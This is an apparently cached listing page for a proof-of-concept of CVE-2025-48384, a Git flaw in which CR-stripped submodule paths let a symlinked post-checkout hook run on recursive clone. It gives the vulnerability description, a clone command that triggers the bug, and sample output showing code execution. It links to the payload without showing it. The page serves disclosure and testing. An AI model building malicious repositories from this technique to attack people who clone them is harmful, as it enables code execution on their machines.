CVE-2025-48384 PoC — Git allows arbitrary code execution through broken config quoting

Source

https://github.com/MarcoTondolo/cve-2025-48384-poc

Associated Vulnerability

Title:Git allows arbitrary code execution through broken config quoting (CVE-2025-48384)
Description:Git is a fast, scalable, distributed revision control system with an unusually rich command set that provides both high-level operations and full access to internals. When reading a config value, Git strips any trailing carriage return and line feed (CRLF). When writing a config entry, values with a trailing CR are not quoted, causing the CR to be lost when the config is later read. When initializing a submodule, if the submodule path contains a trailing CR, the altered path is read resulting in the submodule being checked out to an incorrect location. If a symlink exists that points the altered path to the submodule hooks directory, and the submodule contains an executable post-checkout hook, the script may be unintentionally executed after checkout. This vulnerability is fixed in v2.43.7, v2.44.4, v2.45.4, v2.46.4, v2.47.3, v2.48.2, v2.49.1, and v2.50.1.

Readme

# PoC for CVE-2025-48384

See [CVE-2025-48384](https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384)

To run:
```
git -c protocol.file.allow=always clone --recurse-submodules git@github.com:liamg/CVE-2025-48384.git
```

Example output:
```
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test
Cloning into 'test'...
done.
'ubmodule 'sub' (git@github.com:liamg/CVE-2025-48384-submodule.git) registered for path 'sub
'...ing into '/Users/liamg/test/sub
remote: Enumerating objects: 5, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 5 (delta 0), reused 5 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (5/5), done.
Uh-oh, this is an RCE!
```

The executed payload is [here](https://github.com/liamg/CVE-2025-48384-submodule/blob/main/post-checkout).

File Snapshot


 [4.0K]  /data/pocs/b2f9a3630671b6e3d7326ea593ea9c1c505e7bf5
├── [ 855]  README.md
└── [  22]  sub

1 directory, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!